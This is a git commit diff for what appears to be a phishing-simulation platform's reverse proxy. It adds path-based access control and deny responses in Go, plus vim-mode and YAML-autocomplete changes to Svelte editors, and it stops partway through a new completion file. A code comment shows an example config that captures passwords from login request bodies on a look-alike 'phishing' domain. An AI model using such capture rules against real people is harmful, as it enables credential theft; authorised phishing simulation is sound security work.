Access control for proxy

Vim suggestions for proxy yaml

Signed-off-by: Ronni Skansing <rskansing@gmail.com>
This commit is contained in:
Ronni Skansing
2025-10-06 20:11:36 +02:00
parent 1dd66074fc
commit 93708cef17
7 changed files with 1182 additions and 236 deletions
+162 -56
View File
@@ -14,6 +14,7 @@ import (
"net/url"
"regexp"
"sort"
"strconv"
"strings"
"sync"
"sync/atomic"
@@ -266,6 +267,13 @@ func (m *ProxyHandler) processRequestWithContext(req *http.Request, reqCtx *Requ
}
}
// check access control before proceeding
hasSession := reqCtx.SessionID != ""
if allowed, denyAction := m.evaluatePathAccess(req.URL.Path, reqCtx, hasSession); !allowed {
return req, m.createDenyResponse(req, reqCtx, denyAction, hasSession)
}
// handle requests without session
if reqCtx.SessionID == "" && !createSession {
return m.prepareRequestWithoutSession(req, reqCtx.TargetDomain), nil
@@ -1785,11 +1793,7 @@ func (m *ProxyHandler) createCampaignFlowRedirect(session *ProxySession, resp *h
}
redirectResp := &http.Response{
Status: "302 Found",
StatusCode: 302,
Proto: resp.Proto,
ProtoMajor: resp.ProtoMajor,
ProtoMinor: resp.ProtoMinor,
Header: make(http.Header),
Body: io.NopCloser(bytes.NewReader([]byte{})),
Request: resp.Request,
@@ -1975,49 +1979,6 @@ func (m *ProxyHandler) setProxyConfigDefaults(config *service.ProxyServiceConfig
}
}
func (m *ProxyHandler) ValidateProxyConfig(configStr string) (*service.ProxyServiceConfigYAML, error) {
config, err := m.parseProxyConfig(configStr)
if err != nil {
return nil, fmt.Errorf("failed to parse proxy config: %w", err)
}
if err := service.ValidateVersion(config); err != nil {
return nil, fmt.Errorf("version validation failed: %w", err)
}
for originalHost, hostConfig := range config.Hosts {
if hostConfig == nil || hostConfig.To == "" {
return nil, fmt.Errorf("domain mapping for '%s' is empty", originalHost)
}
for i, capture := range hostConfig.Capture {
if capture.Name == "" {
return nil, fmt.Errorf("capture rule %d for '%s' has no name", i, originalHost)
}
if capture.Find == "" {
return nil, fmt.Errorf("capture rule '%s' for '%s' has no pattern", capture.Name, originalHost)
}
if _, err := regexp.Compile(capture.Find); err != nil {
return nil, fmt.Errorf("capture rule '%s' for '%s' has invalid regex: %w", capture.Name, originalHost, err)
}
}
for i, replace := range hostConfig.Rewrite {
if replace.Name == "" {
return nil, fmt.Errorf("replace rule %d for '%s' has no name", i, originalHost)
}
if replace.Find == "" {
return nil, fmt.Errorf("replace rule '%s' for '%s' has no find pattern", replace.Name, originalHost)
}
if _, err := regexp.Compile(replace.Find); err != nil {
return nil, fmt.Errorf("replace rule '%s' for '%s' has invalid regex: %w", replace.Name, originalHost, err)
}
}
}
return config, nil
}
func (m *ProxyHandler) GetCookieName() string {
return m.cookieName
}
@@ -2104,10 +2065,6 @@ func (m *ProxyHandler) configToMap(configMap *sync.Map) map[string]service.Proxy
func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Response {
resp := &http.Response{
StatusCode: http.StatusServiceUnavailable,
Status: "503 Service Unavailable",
Proto: "HTTP/1.1",
ProtoMajor: 1,
ProtoMinor: 1,
Header: make(http.Header),
Body: io.NopCloser(strings.NewReader(message)),
}
@@ -2116,10 +2073,19 @@ func (m *ProxyHandler) createServiceUnavailableResponse(message string) *http.Re
}
func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response) error {
// check for nil response
if resp == nil {
m.logger.Errorw("response is nil in writeResponse")
w.WriteHeader(500)
return errors.New("response is nil")
}
// copy headers
for key, values := range resp.Header {
for _, value := range values {
w.Header().Add(key, value)
if resp.Header != nil {
for k, v := range resp.Header {
for _, val := range v {
w.Header().Add(k, val)
}
}
}
@@ -2127,6 +2093,146 @@ func (m *ProxyHandler) writeResponse(w http.ResponseWriter, resp *http.Response)
w.WriteHeader(resp.StatusCode)
// copy body
_, err := io.Copy(w, resp.Body)
return err
if resp.Body != nil {
_, err := io.Copy(w, resp.Body)
return err
}
return nil
}
// evaluatePathAccess checks if a path is allowed based on access control rules
func (m *ProxyHandler) evaluatePathAccess(path string, reqCtx *RequestContext, hasSession bool) (bool, string) {
// check for nil request context
if reqCtx == nil {
m.logger.Errorw("request context is nil in evaluatePathAccess")
return true, "" // default allow to prevent panic
}
// check domain-specific rules first
if reqCtx.Domain != nil && reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Hosts != nil {
// find the domain config where the "to" field matches our phishing domain
for _, domainConfig := range reqCtx.ProxyConfig.Hosts {
if domainConfig != nil && domainConfig.To == reqCtx.PhishDomain && domainConfig.Access != nil {
allowed, action := m.checkAccessRules(path, domainConfig.Access, hasSession)
// domain rule found - return its decision (allow or deny)
return allowed, action
}
}
}
// no domain rule found - check global rules
if reqCtx.ProxyConfig != nil && reqCtx.ProxyConfig.Global != nil && reqCtx.ProxyConfig.Global.Access != nil {
if allowed, action := m.checkAccessRules(path, reqCtx.ProxyConfig.Global.Access, hasSession); !allowed {
return false, action
}
}
// default allow if no rules match
return true, ""
}
// checkAccessRules evaluates access control rules for a given path
func (m *ProxyHandler) checkAccessRules(path string, accessControl *service.ProxyServiceAccessControl, hasSession bool) (bool, string) {
if accessControl == nil {
return true, "" // no access control = allow everything
}
matches := m.matchesAnyAccessPath(path, accessControl.Paths)
var action string
if hasSession {
action = accessControl.OnDeny.WithSession
} else {
action = accessControl.OnDeny.WithoutSession
}
// default actions if not specified
if action == "" {
action = "404"
}
switch accessControl.Mode {
case "allow":
if matches {
return true, "" // path matches allow list
}
// path doesn't match allow list - check if we should allow anyway
if action == "allow" {
return true, "" // override deny with allow
}
return false, action // deny with specified action
case "deny":
if !matches {
return true, "" // path doesn't match deny list
}
// path matches deny list - check if we should allow anyway
if action == "allow" {
return true, "" // override deny with allow
}
return false, action // deny with specified action
default:
return true, "" // safe default
}
}
// matchesAnyAccessPath checks if a path matches any of the provided regex patterns
func (m *ProxyHandler) matchesAnyAccessPath(path string, patterns []string) bool {
for _, pattern := range patterns {
if matched, err := regexp.MatchString(pattern, path); err == nil && matched {
return true
}
}
return false
}
// createDenyResponse creates an appropriate response for denied access
func (m *ProxyHandler) createDenyResponse(req *http.Request, reqCtx *RequestContext, denyAction string, hasSession bool) *http.Response {
// construct proper full URL for logging
fullURL := fmt.Sprintf("%s://%s%s", req.URL.Scheme, req.Host, req.URL.RequestURI())
// log the denial for debugging
m.logger.Debugw("access denied for path",
"path", req.URL.Path,
"full_url", fullURL,
"phish_domain", reqCtx.PhishDomain,
"target_domain", reqCtx.TargetDomain,
"has_session", hasSession,
"deny_action", denyAction,
"user_agent", req.Header.Get("User-Agent"),
)
if strings.HasPrefix(denyAction, "redirect:") {
url := strings.TrimPrefix(denyAction, "redirect:")
return m.createRedirectResponse(url)
}
// parse as status code
if statusCode, err := strconv.Atoi(denyAction); err == nil {
return m.createStatusResponse(statusCode)
}
return m.createStatusResponse(404) // fallback
}
// createRedirectResponse creates a redirect response
func (m *ProxyHandler) createRedirectResponse(url string) *http.Response {
return &http.Response{
StatusCode: 302,
Header: map[string][]string{
"Location": {url},
},
}
}
// createStatusResponse creates a response with the specified status code
func (m *ProxyHandler) createStatusResponse(statusCode int) *http.Response {
return &http.Response{
StatusCode: statusCode,
Header: make(map[string][]string),
Body: io.NopCloser(strings.NewReader("")),
}
}
+164 -7
View File
@@ -5,6 +5,7 @@ import (
"fmt"
"net/url"
"regexp"
"strconv"
"strings"
"github.com/go-errors/errors"
@@ -39,16 +40,31 @@ type ProxyServiceConfig struct {
// ProxyServiceDomainConfig represents configuration for a specific domain mapping
type ProxyServiceDomainConfig struct {
To string `yaml:"to"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
To string `yaml:"to"`
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
}
// ProxyServiceRules represents capture and replace rules
// ProxyServiceRules represents global rules that apply to all hosts
type ProxyServiceRules struct {
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
Access *ProxyServiceAccessControl `yaml:"access,omitempty"`
Capture []ProxyServiceCaptureRule `yaml:"capture,omitempty"`
Rewrite []ProxyServiceReplaceRule `yaml:"rewrite,omitempty"`
}
// ProxyServiceAccessControl represents access control configuration
type ProxyServiceAccessControl struct {
Mode string `yaml:"mode"` // "allow" | "deny"
Paths []string `yaml:"paths"`
OnDeny ProxyServiceDenyResponse `yaml:"on_deny"`
}
// ProxyServiceDenyResponse represents response configuration when access is denied
type ProxyServiceDenyResponse struct {
WithSession string `yaml:"with_session"` // "allow" | "redirect:URL" | status code
WithoutSession string `yaml:"without_session"` // "allow" | "redirect:URL" | status code
}
// CompilePathPatterns compiles regex patterns for all capture rules
@@ -107,6 +123,43 @@ type ProxyServiceReplaceRule struct {
}
// ProxyServiceConfigYAML represents the complete YAML configuration structure that matches the actual YAML format
//
// Example YAML configuration with access control:
//
// version: "0.0"
// global:
//
// access:
// mode: "deny"
// paths:
// - "^/admin/"
// - "^/wp-admin/"
// - "^/\\.git/"
// on_deny:
// with_session: 403
// without_session: 404
// capture:
// - name: "global_navigation"
// path: "/important"
//
// example.com:
//
// to: "phishing-example.com"
// access:
// mode: "allow"
// paths:
// - "^/login"
// - "^/api/public/"
// - "^/assets/"
// on_deny:
// with_session: "redirect:https://phishing-example.com/"
// without_session: 503
// capture:
// - name: "login_capture"
// method: "POST"
// path: "/login"
// find: "password=(.*?)&"
// from: "request_body"
type ProxyServiceConfigYAML struct {
Version string `yaml:"version,omitempty"`
Proxy string `yaml:"proxy,omitempty"`
@@ -498,6 +551,11 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P
)
}
// validate domain-specific access control
if err := m.validateAccessControl(domainConfig.Access); err != nil {
return err
}
// validate domain-specific capture rules
if err := m.validateCaptureRules(domainConfig.Capture); err != nil {
return err
@@ -512,8 +570,11 @@ func (m *Proxy) validateProxyConfigForUpdate(ctx context.Context, proxy *model.P
// the syncProxyDomains method will handle domain management properly
}
// validate global capture and rewrite rules
// validate global rules
if config.Global != nil {
if err := m.validateAccessControl(config.Global.Access); err != nil {
return err
}
if err := m.validateCaptureRules(config.Global.Capture); err != nil {
return err
}
@@ -701,6 +762,94 @@ func (m *Proxy) validateReplaceRules(replaceRules []ProxyServiceReplaceRule) err
return nil
}
// validateAccessControl validates access control configuration
func (m *Proxy) validateAccessControl(accessControl *ProxyServiceAccessControl) error {
if accessControl == nil {
return nil // access control is optional
}
// validate mode
if accessControl.Mode != "allow" && accessControl.Mode != "deny" {
return validate.WrapErrorWithField(
errors.New("access control mode must be either 'allow' or 'deny'"),
"proxyConfig",
)
}
// validate paths are valid regex patterns
for i, path := range accessControl.Paths {
if path == "" {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("access control path %d cannot be empty", i)),
"proxyConfig",
)
}
if _, err := regexp.Compile(path); err != nil {
return validate.WrapErrorWithField(
errors.New(fmt.Sprintf("invalid regex pattern in access control path '%s': %s", path, err.Error())),
"proxyConfig",
)
}
}
// validate deny response actions
if err := m.validateDenyAction(accessControl.OnDeny.WithSession, true); err != nil {
return err
}
if err := m.validateDenyAction(accessControl.OnDeny.WithoutSession, false); err != nil {
return err
}
return nil
}
// validateDenyAction validates a deny action string
func (m *Proxy) validateDenyAction(action string, withSession bool) error {
if action == "" {
return nil // action is optional, will use default
}
// check for allow action
if action == "allow" {
return nil
}
// check for redirect action
if strings.HasPrefix(action, "redirect:") {
url := strings.TrimPrefix(action, "redirect:")
if url == "" {
return validate.WrapErrorWithField(
errors.New("redirect action must include URL: 'redirect:https://example.com'"),
"proxyConfig",
)
}
// basic URL validation
if !strings.HasPrefix(url, "http://") && !strings.HasPrefix(url, "https://") {
return validate.WrapErrorWithField(
errors.New("redirect URL must start with http:// or https://"),
"proxyConfig",
)
}
return nil
}
// check for status code
if statusCode, err := strconv.Atoi(action); err == nil {
if statusCode < 100 || statusCode > 599 {
return validate.WrapErrorWithField(
errors.New("status code must be between 100 and 599"),
"proxyConfig",
)
}
return nil
}
return validate.WrapErrorWithField(
errors.New("invalid deny action: must be 'allow', 'redirect:URL', or a status code"),
"proxyConfig",
)
}
// validateProxyConfig validates Proxy configuration
func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) error {
// validate Proxy configuration YAML
@@ -830,6 +979,11 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err
}
}
// validate domain-specific access control
if err := m.validateAccessControl(domainConfig.Access); err != nil {
return err
}
// validate domain-specific capture rules
if err := m.validateCaptureRules(domainConfig.Capture); err != nil {
return err
@@ -846,8 +1000,11 @@ func (m *Proxy) validateProxyConfig(ctx context.Context, proxy *model.Proxy) err
}
}
// validate global capture and rewrite rules
// validate global rules
if config.Global != nil {
if err := m.validateAccessControl(config.Global.Access); err != nil {
return err
}
if err := m.validateCaptureRules(config.Global.Capture); err != nil {
return err
}
@@ -1,8 +1,9 @@
<script>
import { onMount } from 'svelte';
import { onMount, tick } from 'svelte';
import * as monaco from 'monaco-editor';
import editorWorker from 'monaco-editor/esm/vs/editor/editor.worker?worker';
import htmlWorker from 'monaco-editor/esm/vs/language/html/html.worker?worker';
import * as vimModule from 'monaco-vim';
import { BiMap } from '$lib/utils/maps';
import { previewQR as generateQR } from '$lib/utils/qrPreview';
import { vimModeEnabled } from '$lib/store/vimMode.js';
@@ -32,6 +33,8 @@
let fileInputRef;
let shadowContainer = null;
let vimStatusBar = null;
let isDestroyed = false;
let editorContainer = null;
const apiTemplates = [
{ label: 'Custom Field 1', text: '{{.CustomField1}}' },
@@ -101,15 +104,6 @@
}
};
/*
$: {
if (previewFrame && isPreviewVisible && !isRenderingPreview) {
updatePreview();
}
}
*/
onMount(() => {
document.body.classList.add('overflow-hidden');
/* @ts-ignore */
@@ -121,15 +115,26 @@
return new editorWorker();
}
};
editor = monaco.editor.create(document.getElementById('monaco-editor'), {
const editorOptions = {
value: value,
language: 'html',
theme: 'vs-dark',
automaticLayout: true,
minimap: {
enabled: false
},
fontSize: 13,
lineNumbers: 'on',
folding: true,
wordWrap: 'on',
contextmenu: true,
scrollbar: {
horizontal: 'hidden'
}
});
};
/* @ts-ignore - editorOptions is not complete */
editor = monaco.editor.create(editorContainer, editorOptions);
// vim mode will be initialized by reactive statement if needed
@@ -145,12 +150,14 @@
updatePreview();
return () => {
isDestroyed = true;
document.body.classList.remove('overflow-hidden');
// properly cleanup vim mode first
destroyVimMode();
if (editor) {
editor.dispose();
monaco.editor.getModels().forEach((model) => model.dispose());
editor = null;
}
};
});
@@ -159,18 +166,16 @@
let vimModeInstance = null;
const initializeVimMode = () => {
if (localVimMode && editor && !vimModeInstance) {
import('monaco-vim')
.then((vimModule) => {
const statusNode = vimStatusBar;
vimModeInstance = vimModule.initVimMode(editor, statusNode);
if (localVimMode && editor && !vimModeInstance && !isDestroyed) {
try {
const statusNode = vimStatusBar;
vimModeInstance = vimModule.initVimMode(editor, statusNode);
// integrate system clipboard with vim registers
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
})
.catch((e) => {
console.error('vim mode not available', e);
});
// integrate system clipboard with vim registers
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
} catch (e) {
console.error('vim mode not available', e);
}
}
};
@@ -186,11 +191,6 @@
console.warn('Error disposing vim mode:', e);
}
// clear vim status bar
if (vimStatusBar) {
vimStatusBar.textContent = '';
}
vimModeInstance = null;
}
};
@@ -202,22 +202,18 @@
localVimMode = $vimModeEnabled;
}
// debounce vim mode changes to prevent race conditions
let vimModeTimeout = null;
// Watch for vim mode changes and editor initialization
$: if (editor && typeof localVimMode === 'boolean') {
if (vimModeTimeout) {
clearTimeout(vimModeTimeout);
// Watch for vim mode changes
$: if (editor && !isDestroyed && typeof localVimMode === 'boolean') {
if (localVimMode && !vimModeInstance) {
// Wait for DOM updates to complete
tick().then(() => {
if (localVimMode && !vimModeInstance && !isDestroyed) {
initializeVimMode();
}
});
} else if (!localVimMode && vimModeInstance) {
destroyVimMode();
}
vimModeTimeout = setTimeout(() => {
if (localVimMode && !vimModeInstance) {
initializeVimMode();
} else if (!localVimMode && vimModeInstance) {
destroyVimMode();
}
vimModeTimeout = null;
}, 100);
}
const selectPreviewDomain = () => {
@@ -619,11 +615,19 @@
updatePreview();
}
}}
class="h-8 border-2 border-gray-300 dark:border-gray-600 rounded-md px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 bg-white dark:bg-gray-700 text-gray-700 dark:text-gray-200 transition-colors duration-200"
class="h-8 border-2 rounded-md w-36 px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 transition-colors duration-200"
class:font-bold={isPreviewVisible}
class:bg-cta-blue={isPreviewVisible}
class:dark:bg-indigo-600={isPreviewVisible}
class:bg-blue-600={isPreviewVisible}
class:dark:bg-blue-500={isPreviewVisible}
class:text-white={isPreviewVisible}
class:border-blue-600={isPreviewVisible}
class:dark:border-blue-500={isPreviewVisible}
class:text-gray-700={!isPreviewVisible}
class:dark:text-gray-200={!isPreviewVisible}
class:bg-white={!isPreviewVisible}
class:dark:bg-gray-700={!isPreviewVisible}
class:border-gray-300={!isPreviewVisible}
class:dark:border-gray-600={!isPreviewVisible}
>
<svg
xmlns="http://www.w3.org/2000/svg"
@@ -647,18 +651,25 @@
on:click={() => {
vimModeEnabled.update((v) => !v);
}}
class="h-8 border-2 border-gray-300 dark:border-gray-600 rounded-md px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 bg-white dark:bg-gray-700 text-gray-700 dark:text-gray-200 transition-colors duration-200"
class="h-8 border-2 rounded-md w-36 px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 transition-colors duration-200"
class:font-bold={localVimMode}
class:bg-cta-blue={localVimMode}
class:dark:bg-indigo-600={localVimMode}
class:bg-blue-600={localVimMode}
class:dark:bg-blue-500={localVimMode}
class:text-white={localVimMode}
class:border-blue-600={localVimMode}
class:dark:border-blue-500={localVimMode}
class:text-gray-700={!localVimMode}
class:dark:text-gray-200={!localVimMode}
class:bg-white={!localVimMode}
class:dark:bg-gray-700={!localVimMode}
class:border-gray-300={!localVimMode}
class:dark:border-gray-600={!localVimMode}
>
<svg
width="16"
height="16"
viewBox="0 0 24 24"
xmlns="http://www.w3.org/2000/svg"
class="h-4 w-4"
viewBox="0 0 20 20"
fill="currentColor"
class="transition-colors duration-200"
>
<path d="M3 3h18v18H3V3zm2 2v14h14V5H5zm2 2h10v2H7V7zm0 4h10v2H7v-2zm0 4h6v2H7v-2z" />
</svg>
@@ -740,23 +751,19 @@
{/if}
</div>
<div class="flex h-full">
<div class="flex h-full rounded-lg overflow-hidden">
<div
class="flex flex-col border-2 border-black dark:border-gray-600 bg-white dark:bg-gray-900 {!isPreviewVisible
class="flex flex-col relative {!isPreviewVisible
? 'w-80vw'
: 'w-1/2'} transition-colors duration-200"
class:h-55vh={isDetailsVisible}
class:h-67vh={!isDetailsVisible}
>
<div
id="monaco-editor"
class="h-full"
style={localVimMode ? 'height: calc(100% - 25px)' : ''}
/>
<div bind:this={editorContainer} class="h-full"></div>
{#if localVimMode}
<div
bind:this={vimStatusBar}
class="px-2 py-1 bg-gray-100 dark:bg-gray-700 border-t border-gray-200 dark:border-gray-600 text-xs font-mono text-gray-700 dark:text-gray-300"
class="absolute bottom-0 left-0 right-0 px-2 py-1 bg-gray-700 text-xs font-mono text-gray-300"
style="height: 25px;"
></div>
{/if}
@@ -776,3 +783,9 @@
{/if}
</div>
</div>
<style>
:global(.monaco-editor .current-line) {
background-color: rgba(255, 255, 255, 0.05) !important;
}
</style>
@@ -1,19 +1,23 @@
<script>
import { onMount } from 'svelte';
import { onMount, tick } from 'svelte';
import * as monaco from 'monaco-editor';
import editorWorker from 'monaco-editor/esm/vs/editor/editor.worker?worker';
import jsonWorker from 'monaco-editor/esm/vs/language/json/json.worker?worker';
import * as vimModule from 'monaco-vim';
import { vimModeEnabled } from '$lib/store/vimMode.js';
import {
setupVimClipboardIntegration,
destroyVimClipboardIntegration
} from '$lib/utils/vimClipboard.js';
import { setupProxyYamlCompletion } from '$lib/utils/proxyYamlCompletion.js';
export let value = '';
export let height = 'medium';
export let language = 'json';
export let placeholder = '';
export let showVimToggle = true;
export let enableProxyCompletion = false; // enable proxy YAML completion
export let externalVimMode = null; // allow external control of vim mode
let localVimMode = externalVimMode !== null ? externalVimMode : $vimModeEnabled;
@@ -22,6 +26,8 @@
let isDark = false;
let vimStatusBar = null;
let vimModeInstance = null;
let proxyCompletionProvider = null;
let isDestroyed = false;
const heightClasses = {
small: 'h-64',
@@ -56,9 +62,13 @@
});
const cleanup = () => {
isDestroyed = true;
observer.disconnect();
// properly cleanup vim mode first
destroyVimMode();
if (editor) {
editor.dispose();
editor = null;
}
};
/* @ts-ignore */
@@ -71,7 +81,7 @@
}
};
editor = monaco.editor.create(editorContainer, {
const editorOptions = {
value: value || '',
language: language,
theme: 'vs-dark',
@@ -88,15 +98,35 @@
scrollbar: {
horizontal: 'hidden'
},
quickSuggestions: false,
// Enable suggestions for YAML with proxy completion
quickSuggestions: enableProxyCompletion && language === 'yaml' ? true : false,
parameterHints: {
enabled: false
enabled: enableProxyCompletion && language === 'yaml'
},
suggestOnTriggerCharacters: false,
acceptSuggestionOnEnter: 'off',
tabCompletion: 'off',
wordBasedSuggestions: 'off'
});
suggestOnTriggerCharacters: enableProxyCompletion && language === 'yaml',
acceptSuggestionOnEnter: enableProxyCompletion && language === 'yaml' ? 'on' : 'off',
tabCompletion: enableProxyCompletion && language === 'yaml' ? 'on' : 'off',
wordBasedSuggestions:
enableProxyCompletion && language === 'yaml' ? 'currentDocument' : 'off',
// Better YAML editing
insertSpaces: true,
tabSize: 2,
detectIndentation: false,
trimAutoWhitespace: true,
// Bracket matching
matchBrackets: 'always',
// Selection
selectOnLineNumbers: true,
// Find
find: {
addExtraSpaceOnTop: false,
autoFindInSelection: 'never',
seedSearchStringFromSelection: 'selection'
}
};
/* @ts-ignore - editorOptions is not complete */
editor = monaco.editor.create(editorContainer, editorOptions);
// vim mode will be initialized by reactive statement if needed
@@ -105,10 +135,22 @@
value = editor.getValue();
});
// Setup proxy YAML completion if enabled
if (enableProxyCompletion && language === 'yaml') {
try {
proxyCompletionProvider = setupProxyYamlCompletion(monaco);
} catch (error) {
console.warn('Failed to setup proxy YAML completion:', error);
}
}
return () => {
cleanup();
// properly cleanup vim mode first
destroyVimMode();
// cleanup completion provider
if (proxyCompletionProvider) {
proxyCompletionProvider.dispose();
proxyCompletionProvider = null;
}
};
});
@@ -118,38 +160,28 @@
}
const initializeVimMode = () => {
if (localVimMode && editor && !vimModeInstance) {
import('monaco-vim')
.then((vimModule) => {
const statusNode = vimStatusBar;
vimModeInstance = vimModule.initVimMode(editor, statusNode);
if (localVimMode && editor && !vimModeInstance && !isDestroyed) {
try {
const statusNode = vimStatusBar;
vimModeInstance = vimModule.initVimMode(editor, statusNode);
// integrate system clipboard with vim registers
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
})
.catch(() => {
console.warn('vim mode not available - monaco-vim package not installed');
});
// integrate system clipboard with vim registers
setupVimClipboardIntegration(editor, vimModeInstance, localVimMode, monaco);
} catch (e) {
console.error('failed to start vim mode', e);
}
}
};
const destroyVimMode = () => {
if (vimModeInstance) {
try {
// cleanup clipboard integration first
destroyVimClipboardIntegration(vimModeInstance);
// use official monaco-vim dispose method
vimModeInstance.dispose();
} catch (e) {
console.warn('Error disposing vim mode:', e);
}
// clear vim status bar
if (vimStatusBar) {
vimStatusBar.textContent = '';
}
vimModeInstance = null;
}
};
@@ -161,22 +193,18 @@
localVimMode = $vimModeEnabled;
}
// debounce vim mode changes to prevent race conditions
let vimModeTimeout = null;
// Watch for vim mode changes
$: if (editor && typeof localVimMode === 'boolean') {
if (vimModeTimeout) {
clearTimeout(vimModeTimeout);
$: if (editor && !isDestroyed && typeof localVimMode === 'boolean') {
if (localVimMode && !vimModeInstance) {
// Wait for DOM updates to complete
tick().then(() => {
if (localVimMode && !vimModeInstance && !isDestroyed) {
initializeVimMode();
}
});
} else if (!localVimMode && vimModeInstance) {
destroyVimMode();
}
vimModeTimeout = setTimeout(() => {
if (localVimMode && !vimModeInstance) {
initializeVimMode();
} else if (!localVimMode && vimModeInstance) {
destroyVimMode();
}
vimModeTimeout = null;
}, 100);
}
let showExample = false;
@@ -192,46 +220,61 @@
<div class="w-full">
<div class="bg-white dark:bg-gray-800 transition-colors duration-200 rounded-md">
{#if showVimToggle}
{#if showVimToggle || enableProxyCompletion}
<div
class="flex justify-between items-center p-2 border-b border-gray-200 dark:border-gray-600"
>
<div class="flex items-center space-x-2">
<button
type="button"
on:click={() => {
vimModeEnabled.update((v) => !v);
}}
class="h-8 border-2 border-gray-300 dark:border-gray-600 rounded-md px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 bg-white dark:bg-gray-700 text-gray-700 dark:text-gray-200 transition-colors duration-200"
class:font-bold={localVimMode}
class:bg-cta-blue={localVimMode}
class:dark:bg-indigo-600={localVimMode}
class:text-white={localVimMode}
>
<span>Vim</span>
</button>
{#if showVimToggle}
<button
type="button"
on:click={() => {
vimModeEnabled.update((v) => !v);
}}
class="h-8 border-2 rounded-md w-36 px-3 text-center cursor-pointer hover:opacity-80 flex items-center justify-center gap-2 transition-colors duration-200"
class:font-bold={localVimMode}
class:bg-blue-600={localVimMode}
class:dark:bg-blue-500={localVimMode}
class:text-white={localVimMode}
class:border-blue-600={localVimMode}
class:dark:border-blue-500={localVimMode}
class:text-gray-700={!localVimMode}
class:dark:text-gray-200={!localVimMode}
class:bg-white={!localVimMode}
class:dark:bg-gray-700={!localVimMode}
class:border-gray-300={!localVimMode}
class:dark:border-gray-600={!localVimMode}
>
<span>Vim</span>
</button>
{/if}
{#if enableProxyCompletion}
<div class="flex items-center text-xs text-gray-500 dark:text-gray-400">
<span>Ctrl+Space for suggestions • Tab to accept</span>
</div>
{/if}
</div>
</div>
{/if}
<div
bind:this={editorContainer}
class="border-2 border-black dark:border-gray-600 bg-white dark:bg-gray-900 w-full transition-colors duration-200"
class:rounded-b-md={showVimToggle}
class:rounded-md={!showVimToggle}
class:h-64={height === 'small' && !localVimMode}
class:h-80={height === 'medium' && !localVimMode}
class:h-96={height === 'large' && !localVimMode}
style={localVimMode
? `height: ${height === 'small' ? '224px' : height === 'medium' ? '294px' : '359px'}`
: ''}
></div>
{#if localVimMode}
<div class="border-2 border-gray-800 w-full rounded-lg overflow-hidden">
<div
bind:this={vimStatusBar}
class="px-2 py-1 bg-gray-100 dark:bg-gray-700 border-t border-gray-200 dark:border-gray-600 text-xs font-mono text-gray-700 dark:text-gray-300 rounded-b-md"
style="height: 25px;"
bind:this={editorContainer}
class="w-full"
class:h-64={height === 'small' && !localVimMode}
class:h-80={height === 'medium' && !localVimMode}
class:h-96={height === 'large' && !localVimMode}
style={localVimMode
? `height: ${height === 'small' ? '224px' : height === 'medium' ? '294px' : '359px'}`
: ''}
></div>
{/if}
{#if localVimMode}
<div
bind:this={vimStatusBar}
class="px-2 py-1 bg-gray-700 text-xs font-mono text-gray-300"
style="height: 25px;"
></div>
{/if}
</div>
</div>
{#if placeholder}
<div class="mt-2">
@@ -244,25 +287,31 @@
</button>
{#if showExample}
<div
class="mt-2 p-3 bg-gray-50 dark:bg-gray-800 border border-gray-200 dark:border-gray-600 rounded-md transition-colors duration-200"
class="mt-2 p-3 bg-gray-900 dark:bg-black border border-gray-600 dark:border-gray-700 rounded-md transition-colors duration-200"
>
<div class="flex justify-between items-start mb-2">
<span
class="text-xs font-medium text-gray-700 dark:text-gray-300 transition-colors duration-200"
class="text-xs font-medium text-gray-300 dark:text-gray-200 transition-colors duration-200"
>Example:</span
>
<button
type="button"
on:click={loadExample}
class="text-xs text-blue-600 dark:text-blue-400 hover:text-blue-800 dark:hover:text-blue-300 underline transition-colors duration-200"
class="text-xs text-blue-400 dark:text-blue-300 hover:text-blue-300 dark:hover:text-blue-200 underline transition-colors duration-200"
>
Load example
</button>
</div>
<pre
class="text-xs text-gray-600 dark:text-gray-300 whitespace-pre-wrap transition-colors duration-200 select-text cursor-text">{placeholder}</pre>
class="text-xs text-gray-300 dark:text-gray-200 whitespace-pre-wrap transition-colors duration-200 select-text cursor-text">{placeholder}</pre>
</div>
{/if}
</div>
{/if}
</div>
<style>
:global(.monaco-editor .current-line) {
background-color: rgba(255, 255, 255, 0.05) !important;
}
</style>
@@ -0,0 +1,640 @@
/**
* Monaco Editor YAML completion provider for proxy configurations
*/
export class ProxyYamlCompletionProvider {
constructor(monaco) {
this.monaco = monaco;
this.completionProvider = null;
this.hoverProvider = null;
this.setupLanguageFeatures();
}
setupLanguageFeatures() {
try {
if (!this.completionProvider) {
this.completionProvider = this.monaco.languages.registerCompletionItemProvider('yaml', {
provideCompletionItems: (model, position) => {
try {
return this.provideCompletionItems(model, position);
} catch (error) {
console.warn('Completion error:', error);
return { suggestions: [] };
}
}
});
}
if (!this.hoverProvider) {
this.hoverProvider = this.monaco.languages.registerHoverProvider('yaml', {
provideHover: (model, position) => {
try {
return this.provideHover(model, position);
} catch (error) {
console.warn('Hover error:', error);
return null;
}
}
});
}
} catch (error) {
console.warn('Failed to setup language features:', error);
}
}
dispose() {
if (this.completionProvider) {
this.completionProvider.dispose();
this.completionProvider = null;
}
if (this.hoverProvider) {
this.hoverProvider.dispose();
this.hoverProvider = null;
}
}
provideCompletionItems(model, position) {
const word = model.getWordUntilPosition(position);
const range = {
